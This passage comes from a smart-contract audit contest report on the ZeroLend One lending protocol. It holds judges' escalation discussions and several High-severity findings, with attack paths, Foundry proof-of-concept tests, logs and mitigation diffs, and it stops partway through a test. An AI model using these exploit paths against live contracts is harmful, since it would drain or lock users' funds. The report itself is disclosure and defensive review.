> Escalate

> This should be classified as high severity. Due to the outdated totalAssets, all actions that rely on totalAssets, such as supplying assets, will result in a loss of funds. The minted shares will be incorrect whenever a user supplies assets to the vault. This not only exposes the protocol to flash loan attacks but also causes a direct loss of funds for users. Therefore, the severity of the issue should be high.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

cvetanovv

I agree that this issue meets the requirements for High severity:

> Definite loss of funds without (extensive) limitations of external conditions. The loss of the affected party must exceed 1%.

Due to the stale `totalAssets` data, all actions that depend on this function can result in user losses without requiring any external conditions to be met.

Planning to accept the escalation and make this issue High severity.

WangSecurity

Result: High Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- DemoreXTess: accepted

Issue H-5: `LiquidationLogic@_burnCollateralTokens` does not account for liquidation fees when withdrawing collateral during liquidation leading to incorrect accounting and Pools insolvency

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/228

Found by

000000, A2-security, Bigsam, Honour, dhank, ether_sky, imsrybr0, lemonmon, thisvishalsingh, trachev, zarkk01

Summary

`LiquidationLogic@_burnCollateralTokens` does not account for liquidation fees when withdrawing collateral during liquidation leading to incorrect accounting and Pools insolvency, ultimately impacting regular flows (.e.g borrows, withdrawals, redemptions, ...) in the protocol for the different actors (.i.e Pools users, Curated Vaults and their users, NFT Positions users).

Root Cause

LiquidationLogic

```
// ...
library LiquidationLogic {
  // ...
  function executeLiquidationCall(
    mapping(address => DataTypes.ReserveData) storage reservesData,
    mapping(uint256 => address) storage reservesList,
    mapping(address => mapping(bytes32 => DataTypes.PositionBalance)) storage
 ↪  balances,
    mapping(address => DataTypes.ReserveSupplies) storage totalSupplies,
    mapping(bytes32 => DataTypes.UserConfigurationMap) storage usersConfig,
    DataTypes.ExecuteLiquidationCallParams memory params
  ) external {
    // ...

    (vars.actualCollateralToLiquidate, vars.actualDebtToLiquidate,
 ↪  vars.liquidationProtocolFeeAmount) = // <==== Audit
```

```
    _calculateAvailableCollateralToLiquidate(
      collateralReserve,
      vars.debtReserveCache,
      vars.actualDebtToLiquidate,
      vars.userCollateralBalance,
      vars.liquidationBonus,
      IPool(params.pool).getAssetPrice(params.collateralAsset),
      IPool(params.pool).getAssetPrice(params.debtAsset),
      IPool(params.pool).factory().liquidationProtocolFeePercentage()
    );

    // ...

    _burnCollateralTokens(
      collateralReserve, params, vars,
↪   balances[params.collateralAsset][params.position],
↪   totalSupplies[params.collateralAsset]
    ); // <==== Audit

    if (vars.liquidationProtocolFeeAmount != 0) {
      // ...

      IERC20(params.collateralAsset).safeTransfer(IPool(params.pool).factory().trea⌋
↪   sury(), vars.liquidationProtocolFeeAmount);  // <==== Audit
    }

    // ...
  }

   function _burnCollateralTokens(
    DataTypes.ReserveData storage collateralReserve,
    DataTypes.ExecuteLiquidationCallParams memory params,
    LiquidationCallLocalVars memory vars,
    DataTypes.PositionBalance storage balances,
    DataTypes.ReserveSupplies storage totalSupplies
  ) internal {
    // ...
    balances.withdrawCollateral(totalSupplies, vars.actualCollateralToLiquidate,
↪   collateralReserveCache.nextLiquidityIndex); // <==== Audit :
↪   actualCollateralToLiquidate doesn't include liquidation fees
    IERC20(params.collateralAsset).safeTransfer(msg.sender,
↪   vars.actualCollateralToLiquidate);
  }

  // ...

  function _calculateAvailableCollateralToLiquidate(
    DataTypes.ReserveData storage collateralReserve,
    DataTypes.ReserveCache memory debtReserveCache,
    uint256 debtToCover,
    uint256 userCollateralBalance,
    uint256 liquidationBonus,
    uint256 collateralPrice,
    uint256 debtAssetPrice,
    uint256 liquidationProtocolFeePercentage
  ) internal view returns (uint256, uint256, uint256) {
    // ...

    if (liquidationProtocolFeePercentage != 0) {
      vars.bonusCollateral = vars.collateralAmount -
 ↪  vars.collateralAmount.percentDiv(liquidationBonus);
      vars.liquidationProtocolFee =
 ↪  vars.bonusCollateral.percentMul(liquidationProtocolFeePercentage);
      return (vars.collateralAmount - vars.liquidationProtocolFee,
 ↪  vars.debtAmountNeeded, vars.liquidationProtocolFee);  // <==== Audit
    } else {
      return (vars.collateralAmount, vars.debtAmountNeeded, 0);
    }
  }
}
```

PositionBalanceConfiguration

```
function withdrawCollateral(
  DataTypes.PositionBalance storage self,
  DataTypes.ReserveSupplies storage supply,
  uint256 amount,
  uint128 index
) internal returns (uint256 sharesBurnt) {
  sharesBurnt = amount.rayDiv(index);
  require(sharesBurnt != 0, PoolErrorsLib.INVALID_BURN_AMOUNT);
  self.lastSupplyLiquidtyIndex = index;
  self.supplyShares -= sharesBurnt; // <==== Audit
  supply.supplyShares -= sharesBurnt; // <==== Audit
}
```

When there are protocol liquidation fees, `_burnCollateralTokens` doesn't account for liquidation fees when withrawing the collateral, leading to the pool and actor having more supply shares than reality.

Internal pre-conditions

Protocol liquidations fees are set.

External pre-conditions

N/A

Attack Path

Not an attack path per say as this happens in every liquidation when there are liquidation fees.

1. Alice supplies `tokenA`
2. Bob supplies `tokenB`
3. Alice borrows `tokenB`
4. Alice becomes liquidatable
5. Bob liquidates Alice

Impact

- Incorrect accounting : pool and actor supply shares are higher than reality, allowing a liquidated actor to borrow more than what they should really be able to for example.
- Pools insolvency : since the liquidation fees are transferred to the treasury from the pool but not reflected on the pool and actor supply shares, the actor can withdraw them again at the expense of other actors. This leads to the other actors not being able to fully withdraw their provided collateral and potentially disrupting functionality such as Curated Vaults reallocation where the withdrawn amount cannot be controlled.

PoC

Test

```
function testLiquidationWithFees() external {
  poolFactory.setLiquidationProtcolFeePercentage(0.05e4);

  _mintAndApprove(alice, tokenA, 3000 ether, address(pool));
  _mintAndApprove(bob, tokenB, 5000 ether, address(pool));

  vm.startPrank(bob);
  pool.supplySimple(address(tokenB), bob, 3000 ether, 0);
  vm.stopPrank();

  vm.startPrank(alice);
  pool.supplySimple(address(tokenA), alice, 1000 ether, 0);
  pool.borrowSimple(address(tokenB), alice, 375 ether, 0);
  vm.stopPrank();

  oracleB.updateAnswer(2.5e8);

  vm.prank(bob);
  pool.liquidateSimple(address(tokenA), address(tokenB), pos, type(uint256).max);

  assertEq(pool.getBalance(address(tokenA), alice, 0),
 ↪  tokenA.balanceOf(address(pool)));
}
```

Results

```
forge test --match-test testLiquidationWithFees
[] Compiling...
No files changed, compilation skipped

Ran 1 test for test/forge/core/pool/PoolLiquidationTests.t.sol:PoolLiquidationTest
[FAIL. Reason: assertion failed: 17968750000000000000 != 15625000000000000000]
 ↪  testLiquidationWithFees() (gas: 1003975)
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 5.25ms (1.62ms CPU
 ↪  time)

Ran 1 test suite in 347.96ms (5.25ms CPU time): 0 tests passed, 1 failed, 0 skipped
 ↪  (1 total tests)

Failing tests:
Encountered 1 failing test in
 ↪  test/forge/core/pool/PoolLiquidationTests.t.sol:PoolLiquidationTest
[FAIL. Reason: assertion failed: 17968750000000000000 != 15625000000000000000]
 ↪  testLiquidationWithFees() (gas: 1003975)

Encountered a total of 1 failing tests, 0 tests succeeded
```

Mitigation

```
diff --git a/zerolend-one/contracts/core/pool/logic/LiquidationLogic.sol
 ↪  b/zerolend-one/contracts/core/pool/logic/LiquidationLogic.sol
index e89d626..0a48da6 100644
--- a/zerolend-one/contracts/core/pool/logic/LiquidationLogic.sol
+++ b/zerolend-one/contracts/core/pool/logic/LiquidationLogic.sol
@@ -225,7 +225,7 @@ library LiquidationLogic {
     );

     // Burn the equivalent amount of aToken, sending the underlying to the
 ↪  liquidator
-    balances.withdrawCollateral(totalSupplies, vars.actualCollateralToLiquidate,
 ↪  collateralReserveCache.nextLiquidityIndex);
+    balances.withdrawCollateral(totalSupplies, vars.actualCollateralToLiquidate +
 ↪  vars.liquidationProtocolFeeAmount, collateralReserveCache.nextLiquidityIndex);
     IERC20(params.collateralAsset).safeTransfer(msg.sender,
 ↪  vars.actualCollateralToLiquidate);
```

```
    }
```

Issue H-6: Malicious pool deployer can set a malicious interest rate contract to lock funds of vault depositors

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/233

Found by

A2-security, Obsidian, iamnmt

Summary

Once vault depositors have deposited funds into a pool, a malicious pool creator can upgrade the `interestRateStrategy` contract (using `PoolConfigurator.setReserveInterestRateStrategyAddress()` to make all calls to it revert.

As a result any function of the protocol that calls `updateInterestRates()` will revert because `updateInterestRates()` makes the following call:

```
(vars.nextLiquidityRate, vars.nextBorrowRate) =
↪  IReserveInterestRateStrategy(_reserve.interestRateStrategyAddress)
      .calculateInterestRates(
      /* PARAMS */
    );
```

The main impact is that now withdrawals will revert because `executeWithdraw()` calls `updateInterestRates()` which will always revert, so the funds that vault users deposited into this pool are lost forever.

Root Cause

Allowing the pool deployer to specify any `interestRateStrategyAddress`

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

1. Vault users deposit into the pool
2. the deployer sets their `interestRateStrategy` contract to make all calls to it revert
3. All calls to withdraw funds from the pool will revert, the vault depositors have lost their funds

Impact

All the funds deposited to the pool from the vault will be lost

PoC

No response

Mitigation

Use protocol whitelisted interest rate calculation contracts

Discussion

nevillehuang

Invalid, require malicious admin

> Essentially we expect all permissioned actors to behave rationally.

iamnmt

Escalate

Per the contest's `README`

> There are two set of actors. Actors who manage pools and actors who mange vaults. If an action done by one party causes the other party to suffer losses we'd want to consider that.

This statement makes this issue valid.

sherlock-admin3

> Escalate
>
> Per the contest's `README`
>
> > There are two set of actors. Actors who manage pools and actors who mange vaults. If an action done by one party causes the other party to suffer losses we'd want to consider that.

> This statement makes this issue valid.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

zarkk01

IMO, the issue is **invalid** due to this statement of the sponsor.

> Essentially we expect all permissioned actors to behave rationally.

It is, absolutely, irrational for a deployer to set a malicious interest rate contract since he has **nothing** to earn out of this behaviour.

0xSpearmint

The permissioned actors the protocol refers to are the protocol controlled `PoolConfigurator` and `owner` roles. They can be expected to act rationally.

This issue involves a malicious pool deployer (which can be anyone).

Deploying pools is permission-less, which is why the protocol was interested in such issues as they clearly stated in the README:

> There are two set of actors. Actors who manage pools and actors who mange vaults. If an action done by one party causes the other party to suffer losses we'd want to consider that.

cvetanovv

I agree with the escalation of this issue to be High severity. For more information on what I think about the rule, you can see this comment: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/234#issuecomment-2413297520

Planning to accept the escalation and make this issue High severity.

WangSecurity

Result: High Has duplicates

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- iamnmt: accepted

DemoreXTess

@cvetanovv Can we reconsider this issue per this comment : https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/234#issuecomment-2427578837_

The report wrongly states that the funds are locked forever. ZeroLend has permission to make changes on the pools. Users can get back their funds after adjustment by ZeroLend

0xSpearmint

The referenced comment is not accurate.

Even if the protocol sets a new IRM through this only configurator function, the pool admin can instantly change it back to the malicious IRM using this only pool admin function.

cvetanovv

I agree with @0xSpearmint comment. Even if ZeroLend makes any changes, the malicious pool admin can immediately roll back the previous configuration.

DemoreXTess

@cvetanovv
Is there a problem in this one, it says escalation resolved with has duplicates but the label is not added.

cvetanovv

@DemoreXTess That's not a problem. The labels of duplicate issues will be added after all escalations are resolved.

Joshuajee

@cvetanovv and @WangSecurity ,

Sorry, this might be coming late, but I don't believe that this issue meets the criteria of becoming a High because;

1. It relies on the pool deployer becoming Malicious, what are the chances?
2. It also relies on the vault managers not doing their due diligence on checking if the pool's strategy is indeed safe.
3. Vault Managers are risk managers and should do their thorough checks on every pool, including oracles and strategy contracts before adding such.

The whole reason for validating this is that the pool deployer can hurt the vault manager, but the vault manager should be rational enough to check the rate strategy contract, before trusting a pool.

cvetanovv

> @cvetanovv and @WangSecurity ,
>
> Sorry, this might be coming late, but I don't believe that this issue meets the criteria of becoming a High because;
>
> 1. It relies on the pool deployer becoming Malicious, what are the chances?

2. It also relies on the vault managers not doing their due diligence on checking if the pool's strategy is indeed safe.
3. Vault Managers are risk managers and should do their thorough checks on every pool, including oracles and strategy contracts before adding such.

The whole reason for validating this is that the pool deployer can hurt the vault manager, but the vault manager should be rational enough to check the rate strategy contract, before trusting a pool.

1. The pool deployer does not need to become malicious. He is malicious by default if it can hurt the Vault.
2. I agree here, and every Vault Manager should do their own checking, but it doesn't matter because, at any time, he can change the interest rate because he is malicious.
3. Same as point 2. They are malicious by default, and even if the vault managers do the best check, the pool manager can increase the interest rate at any time.

Joshuajee

@cvetanovv,

I agree you are totally right here.

I think that my earlier complaint only affects https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/234

Because oracles can not be changed after deployment

Issue H-7: When bad debt is accumulated, the loss is not shared amongst all suppliers, instead the last to withdraw will experience a huge loss

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/275

Found by

A2-security, Nihavent, Obsidian, joshuajee, tallo

Summary

When bad debt is accumulated, it should be socialised amongst all suppliers.

The issue is that the protocol does not do this, instead only the last users to withdraw funds will feel the effects of the bad debt.

If a pool experiences bad debt, the first users to withdraw will experience 0 loss, while the last to withdraw will experience a severe loss.

Root Cause

The withdrawn assets is calculated as `shares*liquidityIndex` which does not take into account bad debt

This means that even if bad debt accrues, the first users to withdraw will be able to withdraw their shares to assets at a good rate, leaving the last users with all the loss.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

This attack path is shown in the PoC:

1. User A supplies 50 ETH to the pool
2. User B supplies 50 ETH to the pool
3. A bad debt liquidation occurs, so the liquidator only repaid 64 ETH out of the 100 ETH
4. User A is still able to withdraw their 50 ETH
5. User B is left with less than 14 ETH able to be withdrawn

Impact

Huge fund loss for the suppliers last to withdraw

Early withdrawers effectively steal from the late withdrawers

PoC

Add the following test to `PoolLiquidationTests.t.sol`

```
function test__BadDebtLiquidationIsNotSocialised() external {
    // Setup users
    address supplierOfTokenB = address(124343434);
    address liquidator = address(8888);
    _mintAndApprove(alice, tokenA, 1000 ether, address(pool));
    _mintAndApprove(bob, tokenB, 50 ether, address(pool));
    _mintAndApprove(supplierOfTokenB, tokenB, 50 ether, address(pool));
    _mintAndApprove(liquidator, tokenB, 100 ether, address(pool));
    console.log("bob balance before: %e", tokenB.balanceOf(bob));
    // alice supplies 134 ether of tokenA
    vm.startPrank(alice);
    pool.supplySimple(address(tokenA), alice, 268 ether, 0);
    vm.stopPrank();

    // bob supplies 50 ether of tokenB
    vm.startPrank(bob);
    pool.supplySimple(address(tokenB), bob, 50 ether, 0);
    vm.stopPrank();

    // supplierOfTokenB supplies 50 ether of tokenB
    vm.startPrank(supplierOfTokenB);
    pool.supplySimple(address(tokenB), supplierOfTokenB, 50 ether, 0);
    vm.stopPrank();

    // alice borrows 100 ether of tokenB
    vm.startPrank(alice);
    pool.borrowSimple(address(tokenB), alice, 100 ether, 0);
    vm.stopPrank();
    // Drops the collateral price to make the position liquidatable
    // the drop is large enough to make the position in bad debt
    oracleA.updateAnswer(5e7);

    // liquidator liqudiates the position
    // note that he takes all of alice's collateral
    vm.startPrank(liquidator);
    pool.liquidateSimple(address(tokenA), address(tokenB), pos, 64 ether);

    // bob sees that the position is in bad debt and quickly withdraws all that he
 ↪  supplied
    // bob does not experience any loss from the bad debt
    vm.startPrank(bob);
    pool.withdrawSimple(address(tokenB), bob, 50 ether, 0);

    // supplierOfTokenB tries to withdraw his funds but it reverts, since there is
 ↪  none left
    vm.startPrank(supplierOfTokenB);
    vm.expectRevert();
    pool.withdrawSimple(address(tokenB), supplierOfTokenB, 50 ether, 0);

    // the maximum amount supplierOfTokenB can withdraw is 13 ether of tokenB
    // since that is all that is left in the pool
    pool.withdrawSimple(address(tokenB), supplierOfTokenB, 13 ether, 0);

    // log the final state
    console.log("The following is the final state");

    // show that there is no more tokenB left in the pool after bob withdrew
 ↪  everything
    uint256 PoolBalanceOfB = tokenB.balanceOf(address(pool));
    console.log("Remaining balance of tokenB in the pool = %e", PoolBalanceOfB);

    // show that bob got back the 50 ether he deposited
    uint256 BobBalanceOfB = tokenB.balanceOf(bob);
    console.log("bob's balance of tokenB = %e", BobBalanceOfB);

    // show that supplierOfTokenB only got back 13 ether of tokenB
    uint256 SupplierBalanceOfB = tokenB.balanceOf(supplierOfTokenB);
    console.log("SupplierBalanceOfB balance of tokenB = %e", SupplierBalanceOfB);

    uint256 aliceCollateral = pool.getBalance(address(tokenA), alice, 0);
    console.log("aliceCollateral =%e ", aliceCollateral);
  }
```

Console output:

```
Ran 1 test for test/forge/core/pool/PoolLiquidationTests.t.sol:PoolLiquidationTest
[PASS] test__BadDebtLiquidationIsNotSocialised() (gas: 1089597)
Logs:
  The following is the final state
  Remaining balance of tokenB in the pool = 8.095238095238095 24e17
  bob's balance of tokenB = 5e19
  SupplierBalanceOfB balance of tokenB = 1.3e19
  aliceCollateral =0e0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.34ms (1.66ms CPU
↪  time)

Ran 1 test suite in 11.14ms (4.34ms CPU time): 1 tests passed, 0 failed, 0 skipped
↪  (1 total tests)
```

Mitigation

Socialise the loss among all depositors

Issue H-8: Liquidated positions will still accrue rewards after being liquidated

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/312

Found by

0xNirix, A2-security, JCN, Obsidian, TessKimy, ZC002, iamnmt, tallo

Summary

The NFTRewardsDistributor contract which is responsible for managing a users rewards using a masterchef algorithm does not get updated with a users underlying position in a pool is liquidated. This results in the position wrongfully continuing to accrue rewards with an outdated asset balance.

Root Cause

The choice to neglect updating the NFTPositionManager contract when a position is liquidated is the root cause of this issue due to the NFTPositionManager contract not containing up-to-date user balances for calculating rewards.

```
function earned(uint256 tokenId, bytes32 _assetHash) public view returns (uint256) {
  return _balances[tokenId][_assetHash].mul(rewardPerToken(_assetHash).sub(userRewa
  ↪  rdPerTokenPaid[tokenId][_assetHash])).div(1e18).add(
    rewards[tokenId][_assetHash]
  );
}
```

The above calculations are done in `NFTRewardsDistributor.sol:98` to determine an NFT positions rewards. Due to this bug, the users balance `_balances[tokenId][_assetHash]` will be incorrect, leading to overinflated rewards.
https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/positions/NFTRewardsDistributor.sol#L98C1-L102C4

Internal pre-conditions

1. User needs to have a position NFT registered with the NFTPositionManager contract
2. The NFTPositionManager needs to have rewards accrual enabled for there to be any impact
3. The users NFT position needs to be liquidated due to their position being unhealthy

External pre-conditions

1. Users collateral assets need to drop in enough in price to make their position liquidatable
2. Any user needs to liquidate the users position

Attack Path

1. User creates a position
2. The NFTPositionManager contract will start accruing rewards for the user
3. The users position's collateral drops in price enough to make their position unhealthy
4. The user gets liquidated
5. The user will continue to accrue rewards pertaining to their NFT's position for as long as they wish because the NFTPositionManager believes they are still providing collateral and borrowing assets.
6. The user withdraws their accrued rewards whenever they wish

Impact

The liquidated user will essentially be able to steal rewards from the protocol/other users since their position won't be backed by any collateral.

PoC

```
function test_UserAccruesRewardsWhileLiquidatedBug() public {
  NFTPositionManager _nftPositionManager = new NFTPositionManager();
  TransparentUpgradeableProxy proxy = new
↪   TransparentUpgradeableProxy(address(_nftPositionManager), admin, bytes(''));
  nftPositionManager = NFTPositionManager(payable(address(proxy)));
  nftPositionManager.initialize(address(poolFactory), address(0x123123), owner,
↪   address(tokenA), address(wethToken));

  uint256 mintAmount = 100 ether;
  uint256 supplyAmount = 1 ether;
  uint256 tokenId = 1;
  bytes32 REWARDS_ALLOCATOR_ROLE = keccak256('REWARDS_ALLOCATOR_ROLE');

  //approvals
  _mintAndApprove(owner, tokenA, 30e18, address(nftPositionManager));
  _mintAndApprove(alice, tokenA, 1000 ether, address(pool)); // alice 1000 tokenA
  _mintAndApprove(bob, tokenB, 2000 ether, address(pool)); // bob 2000 tokenB
  _mintAndApprove(bob, tokenA, 2000 ether, address(pool)); // bob 2000 tokenB
```

```
//grant the pool some rewards
vm.startPrank(owner);
nftPositionManager.grantRole(REWARDS_ALLOCATOR_ROLE, owner);
nftPositionManager.notifyRewardAmount(10e18, address(pool), address(tokenA),
↪  false);
vm.stopPrank();


DataTypes.ExtraData memory data = DataTypes.ExtraData(bytes(''), bytes(''));
INFTPositionManager.AssetOperationParams memory params =
  INFTPositionManager.AssetOperationParams(address(tokenA), alice, 550 ether,
↪  tokenId, data);
INFTPositionManager.AssetOperationParams memory params2 =
  INFTPositionManager.AssetOperationParams(address(tokenB), bob, 750 ether, 2,
↪  data);
INFTPositionManager.AssetOperationParams memory params3 =
  INFTPositionManager.AssetOperationParams(address(tokenA), bob, 550 ether, 2,
↪  data);
INFTPositionManager.AssetOperationParams memory borrowParams =
  INFTPositionManager.AssetOperationParams(address(tokenB), alice, 100 ether,
↪  tokenId, data);

vm.startPrank(alice);
tokenA.approve(address(nftPositionManager), 100000 ether);
tokenA.approve(address(pool), 100000 ether);
nftPositionManager.mint(address(pool));
nftPositionManager.supply(params);
console.log("Alice deposits %e of token A", params.amount);
vm.stopPrank();

vm.startPrank(bob);
tokenB.approve(address(nftPositionManager), 100000 ether);
tokenA.approve(address(nftPositionManager), 100000 ether);
tokenB.approve(address(pool), 100000 ether);
nftPositionManager.mint(address(pool));
nftPositionManager.supply(params2);
nftPositionManager.supply(params3);
console.log("Bob deposits %e of token A", params3.amount);
vm.stopPrank();

vm.prank(alice);
nftPositionManager.borrow(borrowParams);


bytes32 assetHashA = nftPositionManager.assetHash(address(pool), address(tokenA),
↪  false);
bytes32 pos = keccak256(abi.encodePacked(nftPositionManager, 'index',
↪  uint256(1)));
```

```
  console.log("\nAlice rewards earned before liquidation: %e",
↪   nftPositionManager.earned(1, assetHashA));
  console.log("Bob rewards earned before Alice is Liquidated: %e\n",
↪   nftPositionManager.earned(2, assetHashA));
  oracleA.updateAnswer(3e5);
  vm.prank(bob);
  console.log("Bob liquidates Alice");
  pool.liquidateSimple(address(tokenA), address(tokenB), pos, 550 ether);
  console.log("Skip ahead until end of rewards cycle...");
  vm.warp(block.timestamp+14 days);

  console.log("\nAlice rewards earned after liquidation: %e",
↪   nftPositionManager.earned(1, assetHashA));
  console.log("Bob rewards earned after Alice is liquidated: %e",
↪   nftPositionManager.earned(2, assetHashA));
  console.log("Alice rewards equal to Bob rewards: ", nftPositionManager.earned(1,
↪   assetHashA) == nftPositionManager.earned(2, assetHashA));

}
```

Logs Output: Alice deposits 5.5e20 of token A Bob deposits 5.5e20 of token A

Alice rewards earned before liquidation: 0e0 Bob rewards earned before Alice is Liquidated: 0e0

Bob liquidates Alice Skip ahead until end of rewards cycle...

Alice rewards earned after liquidation: 4.99999999999953585e18 Bob rewards earned after Alice is liquidated: 4.99999999999953585e18 Alice rewards equal to Bob rewards: true

The PoC shows that even though Alice was liquidated, she continued to accrue the same amount of rewards as Bob over the time period.

Mitigation

When necessary, the liquidation function should callback to the NFT position contract to update the liquidated users position with the contract so they don't continue to accrue rewards.

Issue H-9: Function `executeMintToTreasury` will incorrectly reduce the `supplyShares`, therefore prevent the last users from withdrawing

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/375

Found by

000000, 0xAlix2, 0xc0ffEE, A2-security, Honour, KupiaSec, Nihavent, Obsidian, Tendency, Valy001, Varun_05, coffiasd, ether_sky, iamnmt, imsrybr0, lemonmon, silver_eth, stuart_the_minion, trachev

Summary

The incorrect reduction in `PoolLogic::executeMintToTreasury` will cause failure of some (likely to be the last) user's withdrawal, and the fund will be locked.

Root Cause

The `totalSupply.supplyShares` is supposed to be the sum of `balances.supplyShares`, as they are always updated in tandem:

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/configuration/PositionBalanceConfiguration.sol#L94-L95
https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/configuration/PositionBalanceConfiguration.sol#L48-L49

If this is not held, then some users will not be able to withdraw their collateral, as the `totalSupply.supplyShares` will underflow and revert.

However in the `PoolLogic::executeMintToTreasury` updates the `totalSupply.supplyShares` without updating any user's balance. It is because it incorrectly assumes that there is share to be burned, even though the accrued amount was never really minted to the treasury (in that the treasury's share balance was not added). If it is so, that share should be burned from the treasury.

Also, for example, when premium is added via flashloan, the premium is counted as underlyingBalance: https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/FlashLoanLogic.sol#L118

Therefore, when the underlying asset is transferred out via `executeMintToTreasury`, the `underlyingBalance` should be updated accordingly.

Internal pre-conditions

Non-zero `accruedToTreasuryShares`

External pre-conditions

No response

Attack Path

1. Anybody calls `withdraw` or `withdrawSimple`, it will reduce the `asset`'s `totalSupply.supplyShares` incorrectly.

impact

The last user(s) who is trying to withdraw will fail, and their fund will be locked

PoC

No response

Mitigation

Suggestion of mitigation:

```
// PoolLogic.sol
  function executeMintToTreasury(
    DataTypes.ReserveSupplies storage totalSupply,
    mapping(address => DataTypes.ReserveData) storage reservesData,
    address treasury,
    address asset
  ) external {
    DataTypes.ReserveData storage reserve = reservesData[asset];

    uint256 accruedToTreasuryShares = reserve.accruedToTreasuryShares;

    if (accruedToTreasuryShares != 0) {
      reserve.accruedToTreasuryShares = 0;
      uint256 normalizedIncome = reserve.getNormalizedIncome();
      uint256 amountToMint = accruedToTreasuryShares.rayMul(normalizedIncome);

      IERC20(asset).safeTransfer(treasury, amountToMint);
-     totalSupply.supplyShares -= accruedToTreasuryShares;
+     totalSupply.underlyingBalance -= amountToMint;
```

```
      emit PoolEventsLib.MintedToTreasury(asset, amountToMint);
    }
  }
```

Issue H-10: Interest rate is updated before updating the debt when repaying debt

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/413

Found by

000000, 0xweebad, A2-security, JCN, Obsidian, Tendency, TessKimy, Varun_05, almurhasan, ether_sky, imsrybr0, lemonmon, stuart_the_minion, trachev

Summary

Interest rate is updated before updating the debt when repaying debt in `BorrowLogic@executeRepay` leading to an incorrect total debt being used when calculating the new interest rates and causing suppliers to keep accruing interest based on the previous debt and even if there are no ongoing borrows anymore.

Root Cause

BorrowLogic

```
function executeRepay(
  DataTypes.ReserveData storage reserve,
  DataTypes.PositionBalance storage balances,
  DataTypes.ReserveSupplies storage totalSupplies,
  DataTypes.UserConfigurationMap storage userConfig,
  DataTypes.ExecuteRepayParams memory params
) external returns (DataTypes.SharesType memory payback) {
  DataTypes.ReserveCache memory cache = reserve.cache(totalSupplies);
  reserve.updateState(params.reserveFactor, cache);
  payback.assets = balances.getDebtBalance(cache.nextBorrowIndex);

  // Allows a user to max repay without leaving dust from interest.
  if (params.amount == type(uint256).max) {
    params.amount = payback.assets;
  }

  ValidationLogic.validateRepay(params.amount, payback.assets);

  // If paybackAmount is more than what the user wants to payback, the set it to the
  // user input (ie params.amount)
  if (params.amount < payback.assets) payback.assets = params.amount;

  reserve.updateInterestRates( // <==== Audit
    totalSupplies,
    cache,
    params.asset,
    IPool(params.pool).getReserveFactor(),
    payback.assets,
    0,
    params.position,
    params.data.interestRateData
  );

  // update balances and total supplies
  payback.shares = balances.repayDebt(totalSupplies, payback.assets,
 ↪   cache.nextBorrowIndex); // <==== Audit
  cache.nextDebtShares = totalSupplies.debtShares; // <==== Audit

  if (balances.getDebtBalance(cache.nextBorrowIndex) == 0) {
    userConfig.setBorrowing(reserve.id, false);
  }

  IERC20(params.asset).safeTransferFrom(msg.sender, address(this), payback.assets);
  emit PoolEventsLib.Repay(params.asset, params.position, msg.sender,
 ↪   payback.assets);
}
```

ReserveLogic

```
function updateInterestRates(
    DataTypes.ReserveData storage _reserve,
    DataTypes.ReserveSupplies storage totalSupplies,
    DataTypes.ReserveCache memory _cache,
    address _reserveAddress,
    uint256 _reserveFactor,
    uint256 _liquidityAdded,
    uint256 _liquidityTaken,
    bytes32 _position,
    bytes memory _data
  ) internal {
    UpdateInterestRatesLocalVars memory vars;

    vars.totalDebt = _cache.nextDebtShares.rayMul(_cache.nextBorrowIndex); // <====
↪   Audit

    (vars.nextLiquidityRate, vars.nextBorrowRate) =
↪   IReserveInterestRateStrategy(_reserve.interestRateStrategyAddress)
      .calculateInterestRates(
      _position,
      _data,
      DataTypes.CalculateInterestRatesParams({
        liquidityAdded: _liquidityAdded, // <==== Audit
        liquidityTaken: _liquidityTaken,
        totalDebt: vars.totalDebt, // <==== Audit
        reserveFactor: _reserveFactor,
        reserve: _reserveAddress
      })
    );

    _reserve.liquidityRate = vars.nextLiquidityRate.toUint128();
    _reserve.borrowRate = vars.nextBorrowRate.toUint128();

    if (_liquidityAdded > 0) totalSupplies.underlyingBalance +=
   ↪   _liquidityAdded.toUint128();
    else if (_liquidityTaken > 0) totalSupplies.underlyingBalance -=
   ↪   _liquidityTaken.toUint128();

    emit PoolEventsLib.ReserveDataUpdated(
      _reserveAddress, vars.nextLiquidityRate, vars.nextBorrowRate,
   ↪   _cache.nextLiquidityIndex, _cache.nextBorrowIndex
    );
  }
```

Interest rate is updated before repaying the debt and updating the cached `nextDebtShares` which is then used in the interest rate calculation causing it to return a wrong interest rate as it behaves like liquidity was just supplied by the borrower without a change in debt.

Internal pre-conditions

N/A

External pre-conditions

N/A

Attack Path

1. Bob supplies `tokenB`
2. Alice supplies `tokenA`
3. Alice borrows `tokenB` causing the utilization goes up and interest rate is updated
4. Bob starts accruing interest
5. Alice fully repays `tokenB` but the interest rate is not updated correctly
6. Bob keeps accruing interest

Impact

Bob keeps accruing interest rate based on the previous debt and even if there are no ongoing borrows and can withdraw it at the expense of other suppliers.

PoC

```
function testRepay() external {
  _mintAndApprove(alice, tokenA, 3000 ether, address(pool));
  _mintAndApprove(alice, tokenB, 1000 ether, address(pool));
  _mintAndApprove(bob, tokenB, 5000 ether, address(pool));

  vm.startPrank(bob);
  pool.supplySimple(address(tokenB), bob, 500 ether, 0);

